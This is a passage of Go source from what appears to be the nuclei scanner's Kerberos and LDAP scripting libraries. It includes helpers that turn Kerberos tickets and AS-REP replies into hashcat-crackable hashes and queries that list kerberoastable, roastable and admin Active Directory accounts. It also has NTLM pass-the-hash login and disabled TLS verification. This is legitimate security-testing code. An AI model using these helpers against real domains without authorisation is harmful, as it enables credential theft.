tcpConn.SetDeadline(time.Now().Add(time.Duration(kclient.config.timeout) * time.Second)) //read and write deadline\n\t\trb, err := sendTCP(tcpConn.(*net.TCPConn), []byte(msg))\n\t\tif err != nil {\n\t\t\terrs = append(errs, fmt.Sprintf(\"error sending to %s: %v\", kdcs[i], err))\n\t\t\tcontinue\n\t\t}\n\t\treturn rb, nil\n\t}\n\tif len(errs) > 0 {\n\t\treturn nil, fmt.Errorf(\"error sending to a KDC: %s\", strings.Join(errs, \"; \"))\n\t}\n\treturn nil, nil\n}\n\n// sendToKDCUdp sends a message to the KDC via UDP.\nfunc sendToKDCUdp(kclient *Client, msg string) ([]byte, error) {\n\t_, kdcs, err := kclient.Krb5Config.GetKDCs(kclient.Realm, true)\n\tkclient.nj.HandleError(err, \"error getting KDCs\")\n\tkclient.nj.Require(len(kdcs) > 0, \"no KDCs found\")\n\n\texecutionId := kclient.nj.ExecutionId()\n\tdialers := protocolstate.GetDialersWithId(executionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\tvar errs []string\n\tfor i := 1; i <= len(kdcs); i++ {\n\t\thost, port, err := net.SplitHostPort(kdcs[i])\n\t\tif err == nil && kclient.config.ip != \"\" {\n\t\t\t// use that ip address instead of realm/domain for resolving\n\t\t\thost = kclient.config.ip\n\t\t}\n\t\tudpConn, err := dialers.Fastdialer.Dial(context.TODO(), \"udp\", net.JoinHostPort(host, port))\n\t\tif err != nil {\n\t\t\terrs = append(errs, fmt.Sprintf(\"error establishing connection to %s: %v\", kdcs[i], err))\n\t\t\tcontinue\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = udpConn.Close()\n\t\t}()\n\t\t_ = udpConn.SetDeadline(time.Now().Add(time.Duration(kclient.config.timeout) * time.Second)) //read and write deadline\n\t\trb, err := sendUDP(udpConn.(*net.UDPConn), []byte(msg))\n\t\tif err != nil {\n\t\t\terrs = append(errs, fmt.Sprintf(\"error sending to %s: %v\", kdcs[i], err))\n\t\t\tcontinue\n\t\t}\n\t\treturn rb, nil\n\t}\n\tif len(errs) > 0 {\n\t\t// fallback to tcp\n\t\treturn nil, fmt.Errorf(\"error sending to a KDC: %s\", strings.Join(errs, \"; \"))\n\t}\n\treturn nil, nil\n}\n\n// sendUDP sends bytes to connection over UDP.\nfunc sendUDP(conn *net.UDPConn, b []byte) ([]byte, error) {\n\tvar r []byte\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\t_, err := conn.Write(b)\n\tif err != nil {\n\t\treturn r, fmt.Errorf(\"error sending to (%s): %v\", conn.RemoteAddr().String(), err)\n\t}\n\tudpbuf := make([]byte, 4096)\n\tn, _, err := conn.ReadFrom(udpbuf)\n\tr = udpbuf[:n]\n\tif err != nil {\n\t\treturn r, fmt.Errorf(\"sending over UDP failed to %s: %v\", conn.RemoteAddr().String(), err)\n\t}\n\tif len(r) < 1 {\n\t\treturn r, fmt.Errorf(\"no response data from %s\", conn.RemoteAddr().String())\n\t}\n\treturn r, nil\n}\n\n// sendTCP sends bytes to connection over TCP.\nfunc sendTCP(conn *net.TCPConn, b []byte) ([]byte, error) {\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\tvar r []byte\n\t// RFC 4120 7.2.2 specifies the first 4 bytes indicate the length of the message in big endian order.\n\thb := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(hb, uint32(len(b)))\n\tb = append(hb, b...)\n\n\t_, err := conn.Write(b)\n\tif err != nil {\n\t\treturn r, fmt.Errorf(\"error sending to KDC (%s): %v\", conn.RemoteAddr().String(), err)\n\t}\n\n\tsh := make([]byte, 4)\n\t_, err = conn.Read(sh)\n\tif err != nil {\n\t\treturn r, fmt.Errorf(\"error reading response size header: %v\", err)\n\t}\n\ts := binary.BigEndian.Uint32(sh)\n\n\trb := make([]byte, s)\n\t_, err = io.ReadFull(conn, rb)\n\tif err != nil {\n\t\treturn r, fmt.Errorf(\"error reading response: %v\", err)\n\t}\n\tif len(rb) < 1 {\n\t\treturn r, fmt.Errorf(\"no response data from KDC %s\", conn.RemoteAddr().String())\n\t}\n\treturn rb, nil\n}\n\n// CheckKrbError checks if the response bytes from the KDC are a KRBError.\nfunc CheckKrbError(b []byte) ([]byte, error) {\n\tvar KRBErr messages.KRBError\n\tif err := KRBErr.Unmarshal(b); err == nil {\n\t\treturn b, KRBErr\n\t}\n\treturn b, nil\n}\n\n// TGStoHashcat converts a TGS to a hashcat format.\nfunc TGStoHashcat(tgs messages.Ticket, username string) (string, error) {\n\treturn fmt.Sprintf(\"$krb5tgs$%d$*%s$%s$%s*$%s$%s\",\n\t\ttgs.EncPart.EType,\n\t\tusername,\n\t\ttgs.Realm,\n\t\tstrings.Join(tgs.SName.NameString[:], \"/\"),\n\t\thex.EncodeToString(tgs.EncPart.Cipher[:16]),\n\t\thex.EncodeToString(tgs.EncPart.Cipher[16:]),\n\t), nil\n}\n\n// ASRepToHashcat converts an AS-REP message to a hashcat format\nfunc ASRepToHashcat(asrep messages.ASRep) (string, error) {\n\treturn fmt.Sprintf(\"$krb5asrep$%d$%s@%s:%s$%s\",\n\t\tasrep.EncPart.EType,\n\t\tasrep.CName.PrincipalNameString(),\n\t\tasrep.CRealm,\n\t\thex.EncodeToString(asrep.EncPart.Cipher[:16]),\n\t\thex.EncodeToString(asrep.EncPart.Cipher[16:])), nil\n}\n"
  },
  {
    "path": "pkg/js/libs/ldap/adenum.go",
    "content": "package ldap\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/go-ldap/ldap/v3\"\n)\n\n// LDAP makes you search using an OID\n// http://oid-info.com/get/1.2.840.113556.1.4.803\n//\n// The one for the userAccountControl in MS Active Directory is\n// 1.2.840.113556.1.4.803 (LDAP_MATCHING_RULE_BIT_AND)\n//\n// We can look at the enabled flags using a query like (!(userAccountControl:1.2.840.113556.1.4.803:=2))\n//\n// https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties\nconst (\n\tFilterIsPerson                   = \"(objectCategory=person)\"                               // The object is a person.\n\tFilterIsGroup                    = \"(objectCategory=group)\"                                // The object is a group.\n\tFilterIsComputer                 = \"(objectCategory=computer)\"                             // The object is a computer.\n\tFilterIsAdmin                    = \"(adminCount=1)\"                                        // The object is an admin.\n\tFilterHasServicePrincipalName    = \"(servicePrincipalName=*)\"                              // The object has a service principal name.\n\tFilterLogonScript                = \"(userAccountControl:1.2.840.113556.1.4.803:=1)\"        // The logon script will be run.\n\tFilterAccountDisabled            = \"(userAccountControl:1.2.840.113556.1.4.803:=2)\"        // The user account is disabled.\n\tFilterAccountEnabled             = \"(!(userAccountControl:1.2.840.113556.1.4.803:=2))\"     // The user account is enabled.\n\tFilterHomedirRequired            = \"(userAccountControl:1.2.840.113556.1.4.803:=8)\"        // The home folder is required.\n\tFilterLockout                    = \"(userAccountControl:1.2.840.113556.1.4.803:=16)\"       // The user is locked out.\n\tFilterPasswordNotRequired        = \"(userAccountControl:1.2.840.113556.1.4.803:=32)\"       // No password is required.\n\tFilterPasswordCantChange         = \"(userAccountControl:1.2.840.113556.1.4.803:=64)\"       // The user can't change the password.\n\tFilterCanSendEncryptedPassword   = \"(userAccountControl:1.2.840.113556.1.4.803:=128)\"      // The user can send an encrypted password.\n\tFilterIsDuplicateAccount         = \"(userAccountControl:1.2.840.113556.1.4.803:=256)\"      // It's an account for users whose primary account is in another domain.\n\tFilterIsNormalAccount            = \"(userAccountControl:1.2.840.113556.1.4.803:=512)\"      // It's a default account type that represents a typical user.\n\tFilterInterdomainTrustAccount    = \"(userAccountControl:1.2.840.113556.1.4.803:=2048)\"     // It's a permit to trust an account for a system domain that trusts other domains.\n\tFilterWorkstationTrustAccount    = \"(userAccountControl:1.2.840.113556.1.4.803:=4096)\"     // It's a computer account for a computer that is running old Windows builds.\n\tFilterServerTrustAccount         = \"(userAccountControl:1.2.840.113556.1.4.803:=8192)\"     // It's a computer account for a domain controller that is a member of this domain.\n\tFilterDontExpirePassword         = \"(userAccountControl:1.2.840.113556.1.4.803:=65536)\"    // Represents the password, which should never expire on the account.\n\tFilterMnsLogonAccount            = \"(userAccountControl:1.2.840.113556.1.4.803:=131072)\"   // It's an MNS logon account.\n\tFilterSmartCardRequired          = \"(userAccountControl:1.2.840.113556.1.4.803:=262144)\"   // When this flag is set, it forces the user to log on by using a smart card.\n\tFilterTrustedForDelegation       = \"(userAccountControl:1.2.840.113556.1.4.803:=524288)\"   // When this flag is set, the service account (the user or computer account) under which a service runs is trusted for Kerberos delegation.\n\tFilterNotDelegated               = \"(userAccountControl:1.2.840.113556.1.4.803:=1048576)\"  // When this flag is set, the security context of the user isn't delegated to a service even if the service account is set as trusted for Kerberos delegation.\n\tFilterUseDesKeyOnly              = \"(userAccountControl:1.2.840.113556.1.4.803:=2097152)\"  // Restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.\n\tFilterDontRequirePreauth         = \"(userAccountControl:1.2.840.113556.1.4.803:=4194304)\"  // This account doesn't require Kerberos pre-authentication for logging on.\n\tFilterPasswordExpired            = \"(userAccountControl:1.2.840.113556.1.4.803:=8388608)\"  // The user's password has expired.\n\tFilterTrustedToAuthForDelegation = \"(userAccountControl:1.2.840.113556.1.4.803:=16777216)\" // The account is enabled for delegation.\n\tFilterPartialSecretsAccount      = \"(userAccountControl:1.2.840.113556.1.4.803:=67108864)\" // The account is a read-only domain controller (RODC).\n\n)\n\n// JoinFilters joins multiple filters into a single filter\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const filter = ldap.JoinFilters(ldap.FilterIsPerson, ldap.FilterAccountEnabled);\n// ```\nfunc JoinFilters(filters ...string) string {\n\tvar builder strings.Builder\n\tbuilder.WriteString(\"(&\")\n\tfor _, s := range filters {\n\t\tbuilder.WriteString(s)\n\t}\n\tbuilder.WriteString(\")\")\n\treturn builder.String()\n}\n\n// NegativeFilter returns a negative filter for a given filter\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const filter = ldap.NegativeFilter(ldap.FilterIsPerson);\n// ```\nfunc NegativeFilter(filter string) string {\n\treturn fmt.Sprintf(\"(!%s)\", filter)\n}\n\n// FindADObjects finds AD objects based on a filter\n// and returns them as a list of ADObject\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const users = client.FindADObjects(ldap.FilterIsPerson);\n// log(to_json(users));\n// ```\nfunc (c *Client) FindADObjects(filter string) SearchResult {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\tsr := ldap.NewSearchRequest(\n\t\tc.BaseDN, ldap.ScopeWholeSubtree,\n\t\tldap.NeverDerefAliases, 0, 0, false,\n\t\tfilter,\n\t\t[]string{\n\t\t\t\"distinguishedName\",\n\t\t\t\"sAMAccountName\",\n\t\t\t\"pwdLastSet\",\n\t\t\t\"lastLogon\",\n\t\t\t\"memberOf\",\n\t\t\t\"servicePrincipalName\",\n\t\t},\n\t\tnil,\n\t)\n\n\tres, err := c.conn.Search(sr)\n\tc.nj.HandleError(err, \"ldap search request failed\")\n\treturn *getSearchResult(res)\n}\n\n// GetADUsers returns all AD users\n// using FilterIsPerson filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const users = client.GetADUsers();\n// log(to_json(users));\n// ```\nfunc (c *Client) GetADUsers() SearchResult {\n\treturn c.FindADObjects(FilterIsPerson)\n}\n\n// GetADActiveUsers returns all AD users\n// using FilterIsPerson and FilterAccountEnabled filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const users = client.GetADActiveUsers();\n// log(to_json(users));\n// ```\nfunc (c *Client) GetADActiveUsers() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterAccountEnabled))\n}\n\n// GetAdUserWithNeverExpiringPasswords returns all AD users\n// using FilterIsPerson and FilterDontExpirePassword filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const users = client.GetADUserWithNeverExpiringPasswords();\n// log(to_json(users));\n// ```\nfunc (c *Client) GetADUserWithNeverExpiringPasswords() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterDontExpirePassword))\n}\n\n// GetADUserTrustedForDelegation returns all AD users that are trusted for delegation\n// using FilterIsPerson and FilterTrustedForDelegation filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const users = client.GetADUserTrustedForDelegation();\n// log(to_json(users));\n// ```\nfunc (c *Client) GetADUserTrustedForDelegation() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterTrustedForDelegation))\n}\n\n// GetADUserWithPasswordNotRequired returns all AD users that do not require a password\n// using FilterIsPerson and FilterPasswordNotRequired filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const users = client.GetADUserWithPasswordNotRequired();\n// log(to_json(users));\n// ```\nfunc (c *Client) GetADUserWithPasswordNotRequired() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterPasswordNotRequired))\n}\n\n// GetADGroups returns all AD groups\n// using FilterIsGroup filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const groups = client.GetADGroups();\n// log(to_json(groups));\n// ```\nfunc (c *Client) GetADGroups() SearchResult {\n\treturn c.FindADObjects(FilterIsGroup)\n}\n\n// GetADDCList returns all AD domain controllers\n// using FilterIsComputer, FilterAccountEnabled and FilterServerTrustAccount filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const dcs = client.GetADDCList();\n// log(to_json(dcs));\n// ```\nfunc (c *Client) GetADDCList() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsComputer, FilterAccountEnabled, FilterServerTrustAccount))\n}\n\n// GetADAdmins returns all AD admins\n// using FilterIsPerson, FilterAccountEnabled and FilterIsAdmin filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const admins = client.GetADAdmins();\n// log(to_json(admins));\n// ```\nfunc (c *Client) GetADAdmins() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterAccountEnabled, FilterIsAdmin))\n}\n\n// GetADUserKerberoastable returns all AD users that are kerberoastable\n// using FilterIsPerson, FilterAccountEnabled and FilterHasServicePrincipalName filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const kerberoastable = client.GetADUserKerberoastable();\n// log(to_json(kerberoastable));\n// ```\nfunc (c *Client) GetADUserKerberoastable() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterAccountEnabled, FilterHasServicePrincipalName))\n}\n\n// GetADUserAsRepRoastable returns all AD users that are AsRepRoastable\n// using FilterIsPerson, and FilterDontRequirePreauth filter query\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const AsRepRoastable = client.GetADUserAsRepRoastable();\n// log(to_json(AsRepRoastable));\n// ```\nfunc (c *Client) GetADUserAsRepRoastable() SearchResult {\n\treturn c.FindADObjects(JoinFilters(FilterIsPerson, FilterDontRequirePreauth))\n}\n\n// GetADDomainSID returns the SID of the AD domain\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const domainSID = client.GetADDomainSID();\n// log(domainSID);\n// ```\nfunc (c *Client) GetADDomainSID() string {\n\tr := c.Search(FilterServerTrustAccount, \"objectSid\")\n\tc.nj.Require(len(r.Entries) > 0, \"no result from GetADDomainSID query\")\n\tfor _, entry := range r.Entries {\n\t\tif sid, ok := entry.Attributes.Extra[\"objectSid\"]; ok {\n\t\t\tif sid, ok := sid.([]string); ok {\n\t\t\t\treturn DecodeSID(sid[0])\n\t\t\t} else {\n\t\t\t\tc.nj.HandleError(fmt.Errorf(\"invalid objectSid type: %T\", entry.Attributes.Extra[\"objectSid\"]), \"invalid objectSid type\")\n\t\t\t}\n\t\t}\n\t}\n\tc.nj.HandleError(fmt.Errorf(\"no objectSid found\"), \"no objectSid found\")\n\treturn \"\"\n}\n"
  },
  {
    "path": "pkg/js/libs/ldap/ldap.go",
    "content": "package ldap\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/go-ldap/ldap/v3\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// Client is a client for ldap protocol in nuclei\n\t// @example\n\t// ```javascript\n\t// const ldap = require('nuclei/ldap');\n\t// // here ldap.example.com is the ldap server and acme.com is the realm\n\t// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n\t// ```\n\t// @example\n\t// ```javascript\n\t// const ldap = require('nuclei/ldap');\n\t// const cfg = new ldap.Config();\n\t// cfg.Timeout = 10;\n\t// cfg.ServerName = 'ldap.internal.acme.com';\n\t// // optional config can be passed as third argument\n\t// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com', cfg);\n\t// ```\n\tClient struct {\n\t\tHost   string // Hostname\n\t\tPort   int    // Port\n\t\tRealm  string // Realm\n\t\tBaseDN string // BaseDN (generated from Realm)\n\n\t\t// unexported\n\t\tnj   *utils.NucleiJS // nuclei js utils\n\t\tconn *ldap.Conn\n\t\tcfg  Config\n\t}\n)\n\ntype (\n\t// Config is extra configuration for the ldap client\n\t// @example\n\t// ```javascript\n\t// const ldap = require('nuclei/ldap');\n\t// const cfg = new ldap.Config();\n\t// cfg.Timeout = 10;\n\t// cfg.ServerName = 'ldap.internal.acme.com';\n\t// cfg.Upgrade = true; // upgrade to tls\n\t// ```\n\tConfig struct {\n\t\t// Timeout is the timeout for the ldap client in seconds\n\t\tTimeout    int\n\t\tServerName string // default to host (when using tls)\n\t\tUpgrade    bool   // when true first connects to non-tls and then upgrades to tls\n\t}\n)\n\n// Constructor for creating a new ldap client\n// The following schemas are supported for url: ldap://, ldaps://, ldapi://,\n// and cldap:// (RFC1798, deprecated but used by Active Directory).\n// ldaps uses TLS/SSL, ldapi uses a Unix domain socket, and cldap uses connectionless LDAP.\n// Constructor: constructor(public ldapUrl: string, public realm: string, public config?: Config)\nfunc NewClient(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object {\n\t// setup nucleijs utils\n\tc := &Client{nj: utils.NewNucleiJS(runtime)}\n\tc.nj.ObjectSig = \"Client(ldapUrl,Realm,{Config})\" // will be included in error messages\n\n\t// get arguments (type assertion is efficient than reflection)\n\tldapUrl, _ := c.nj.GetArg(call.Arguments, 0).(string)\n\trealm, _ := c.nj.GetArg(call.Arguments, 1).(string)\n\tc.cfg = utils.GetStructTypeSafe[Config](c.nj, call.Arguments, 2, Config{})\n\tc.Realm = realm\n\tc.BaseDN = fmt.Sprintf(\"dc=%s\", strings.Join(strings.Split(realm, \".\"), \",dc=\"))\n\n\t// validate arguments\n\tc.nj.Require(ldapUrl != \"\", \"ldap url cannot be empty\")\n\tc.nj.Require(realm != \"\", \"realm cannot be empty\")\n\n\tu, err := url.Parse(ldapUrl)\n\tc.nj.HandleError(err, \"invalid ldap url supported schemas are ldap://, ldaps://, ldapi://, and cldap://\")\n\n\texecutionId := c.nj.ExecutionId()\n\tdialers := protocolstate.GetDialersWithId(executionId)\n\tif dialers == nil {\n\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t}\n\n\tvar conn net.Conn\n\tif u.Scheme == \"ldapi\" {\n\t\tif u.Path == \"\" || u.Path == \"/\" {\n\t\t\tu.Path = \"/var/run/slapd/ldapi\"\n\t\t}\n\t\tconn, err = dialers.Fastdialer.Dial(context.TODO(), \"unix\", u.Path)\n\t\tc.nj.HandleError(err, \"failed to connect to ldap server\")\n\t} else {\n\t\thost, port, err := net.SplitHostPort(u.Host)\n\t\tif err != nil {\n\t\t\t// we assume that error is due to missing port\n\t\t\thost = u.Host\n\t\t\tport = \"\"\n\t\t}\n\t\tif u.Scheme == \"\" {\n\t\t\t// default to ldap\n\t\t\tu.Scheme = \"ldap\"\n\t\t}\n\n\t\tswitch u.Scheme {\n\t\tcase \"cldap\":\n\t\t\tif port == \"\" {\n\t\t\t\tport = ldap.DefaultLdapPort\n\t\t\t}\n\t\t\tconn, err = dialers.Fastdialer.Dial(context.TODO(), \"udp\", net.JoinHostPort(host, port))\n\t\tcase \"ldap\":\n\t\t\tif port == \"\" {\n\t\t\t\tport = ldap.DefaultLdapPort\n\t\t\t}\n\t\t\tconn, err = dialers.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, port))\n\t\tcase \"ldaps\":\n\t\t\tif port == \"\" {\n\t\t\t\tport = ldap.DefaultLdapsPort\n\t\t\t}\n\t\t\tserverName := host\n\t\t\tif c.cfg.ServerName != \"\" {\n\t\t\t\tserverName = c.cfg.ServerName\n\t\t\t}\n\t\t\tconn, err = dialers.Fastdialer.DialTLSWithConfig(context.TODO(), \"tcp\", net.JoinHostPort(host, port),\n\t\t\t\t&tls.Config{InsecureSkipVerify: true, MinVersion: tls.VersionTLS10, ServerName: serverName})\n\t\tdefault:\n\t\t\terr = fmt.Errorf(\"unsupported ldap url schema %v\", u.Scheme)\n\t\t}\n\t\tc.nj.HandleError(err, \"failed to connect to ldap server\")\n\t}\n\tc.conn = ldap.NewConn(conn, u.Scheme == \"ldaps\")\n\tif u.Scheme != \"ldaps\" && c.cfg.Upgrade {\n\t\tserverName := u.Hostname()\n\t\tif c.cfg.ServerName != \"\" {\n\t\t\tserverName = c.cfg.ServerName\n\t\t}\n\t\tif err := c.conn.StartTLS(&tls.Config{InsecureSkipVerify: true, ServerName: serverName}); err != nil {\n\t\t\tc.nj.HandleError(err, \"failed to upgrade to tls\")\n\t\t}\n\t} else {\n\t\tc.conn.Start()\n\t}\n\n\treturn utils.LinkConstructor(call, runtime, c)\n}\n\n// Authenticate authenticates with the ldap server using the given username and password\n// performs NTLMBind first and then Bind/UnauthenticatedBind if NTLMBind fails\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// client.Authenticate('user', 'password');\n// ```\nfunc (c *Client) Authenticate(username, password string) bool {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\tif c.BaseDN == \"\" {\n\t\tc.BaseDN = fmt.Sprintf(\"dc=%s\", strings.Join(strings.Split(c.Realm, \".\"), \",dc=\"))\n\t}\n\tif err := c.conn.NTLMBind(c.Realm, username, password); err == nil {\n\t\t// if bind with NTLMBind(), there is nothing\n\t\t// else to do, you are authenticated\n\t\treturn true\n\t}\n\n\tvar err error\n\tswitch password {\n\tcase \"\":\n\t\tif err = c.conn.UnauthenticatedBind(username); err != nil {\n\t\t\tc.nj.ThrowError(err)\n\t\t}\n\tdefault:\n\t\tif err = c.conn.Bind(username, password); err != nil {\n\t\t\tc.nj.ThrowError(err)\n\t\t}\n\t}\n\treturn err == nil\n}\n\n// AuthenticateWithNTLMHash authenticates with the ldap server using the given username and NTLM hash\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// client.AuthenticateWithNTLMHash('pdtm', 'hash');\n// ```\nfunc (c *Client) AuthenticateWithNTLMHash(username, hash string) bool {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\tif c.BaseDN == \"\" {\n\t\tc.BaseDN = fmt.Sprintf(\"dc=%s\", strings.Join(strings.Split(c.Realm, \".\"), \",dc=\"))\n\t}\n\tvar err error\n\tif err = c.conn.NTLMBindWithHash(c.Realm, username, hash); err != nil {\n\t\tc.nj.ThrowError(err)\n\t}\n\treturn err == nil\n}\n\n// Search accepts whatever filter and returns a list of maps having provided attributes\n// as keys and associated values mirroring the ones returned by ldap\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const results = client.Search('(objectClass=*)', 'cn', 'mail');\n// ```\nfunc (c *Client) Search(filter string, attributes ...string) SearchResult {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\tc.nj.Require(c.BaseDN != \"\", \"base dn cannot be empty\")\n\tc.nj.Require(len(attributes) > 0, \"attributes cannot be empty\")\n\n\tres, err := c.conn.Search(\n\t\tldap.NewSearchRequest(\n\t\t\t\"\",\n\t\t\tldap.ScopeWholeSubtree,\n\t\t\tldap.NeverDerefAliases,\n\t\t\t0, 0, false,\n\t\t\tfilter,\n\t\t\tattributes,\n\t\t\tnil,\n\t\t),\n\t)\n\tc.nj.HandleError(err, \"ldap search request failed\")\n\treturn *getSearchResult(res)\n}\n\n// AdvancedSearch accepts all values of search request type and return Ldap Entry\n// its up to user to handle the response\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const results = client.AdvancedSearch(ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, '(objectClass=*)', ['cn', 'mail'], []);\n// ```\nfunc (c *Client) AdvancedSearch(\n\tScope, DerefAliases, SizeLimit, TimeLimit int,\n\tTypesOnly bool,\n\tFilter string,\n\tAttributes []string,\n\tControls []ldap.Control) SearchResult {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\tif c.BaseDN == \"\" {\n\t\tc.BaseDN = fmt.Sprintf(\"dc=%s\", strings.Join(strings.Split(c.Realm, \".\"), \",dc=\"))\n\t}\n\treq := ldap.NewSearchRequest(c.BaseDN, Scope, DerefAliases, SizeLimit, TimeLimit, TypesOnly, Filter, Attributes, Controls)\n\tres, err := c.conn.Search(req)\n\tc.nj.HandleError(err, \"ldap search request failed\")\n\tc.nj.Require(res != nil, \"ldap search request failed got nil response\")\n\treturn *getSearchResult(res)\n}\n\ntype (\n\t// Metadata is the metadata for ldap server.\n\t// this is returned by CollectMetadata method\n\tMetadata struct {\n\t\tBaseDN                        string\n\t\tDomain                        string\n\t\tDefaultNamingContext          string\n\t\tDomainFunctionality           string\n\t\tForestFunctionality           string\n\t\tDomainControllerFunctionality string\n\t\tDnsHostName                   string\n\t}\n)\n\n// CollectLdapMetadata collects metadata from ldap server.\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const metadata = client.CollectMetadata();\n// log(to_json(metadata));\n// ```\nfunc (c *Client) CollectMetadata() Metadata {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\tvar metadata Metadata\n\tmetadata.Domain = c.Realm\n\tif c.BaseDN == \"\" {\n\t\tc.BaseDN = fmt.Sprintf(\"dc=%s\", strings.Join(strings.Split(c.Realm, \".\"), \",dc=\"))\n\t}\n\tmetadata.BaseDN = c.BaseDN\n\n\t// Use scope as Base since Root DSE doesn't have subentries\n\tsrMetadata := ldap.NewSearchRequest(\n\t\t\"\",\n\t\tldap.ScopeBaseObject,\n\t\tldap.NeverDerefAliases,\n\t\t0, 0, false,\n\t\t\"(objectClass=*)\",\n\t\t[]string{\n\t\t\t\"defaultNamingContext\",\n\t\t\t\"domainFunctionality\",\n\t\t\t\"forestFunctionality\",\n\t\t\t\"domainControllerFunctionality\",\n\t\t\t\"dnsHostName\",\n\t\t},\n\t\tnil)\n\tresMetadata, err := c.conn.Search(srMetadata)\n\tc.nj.HandleError(err, \"ldap search request failed\")\n\n\tfor _, entry := range resMetadata.Entries {\n\t\tfor _, attr := range entry.Attributes {\n\t\t\tvalue := entry.GetAttributeValue(attr.Name)\n\t\t\tswitch attr.Name {\n\t\t\tcase \"defaultNamingContext\":\n\t\t\t\tmetadata.DefaultNamingContext = value\n\t\t\tcase \"domainFunctionality\":\n\t\t\t\tmetadata.DomainFunctionality = value\n\t\t\tcase \"forestFunctionality\":\n\t\t\t\tmetadata.ForestFunctionality = value\n\t\t\tcase \"domainControllerFunctionality\":\n\t\t\t\tmetadata.DomainControllerFunctionality = value\n\t\t\tcase \"dnsHostName\":\n\t\t\t\tmetadata.DnsHostName = value\n\t\t\t}\n\t\t}\n\t}\n\treturn metadata\n}\n\n// GetVersion returns the LDAP versions being used by the server\n// @example\n// ```javascript\n// const ldap = require('nuclei/ldap');\n// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');\n// const versions = client.GetVersion();\n// log(versions);\n// ```\nfunc (c *Client) GetVersion() []string {\n\tc.nj.Require(c.conn != nil, \"no existing connection\")\n\n\t// Query root DSE for supported LDAP versions\n\tsr := ldap.NewSearchRequest(\n\t\t\"\",\n\t\tldap.ScopeBaseObject,\n\t\tldap.NeverDerefAliases,\n\t\t0, 0, false,\n\t\t\"(objectClass=*)\",\n\t\t[]string{\"supportedLDAPVersion\"},\n\t\tnil)\n\n\tres, err := c.conn.Search(sr)\n\tc.nj.HandleError(err, \"failed to get LDAP version\")\n\n\tif len(res.Entries) > 0 {\n\t\treturn 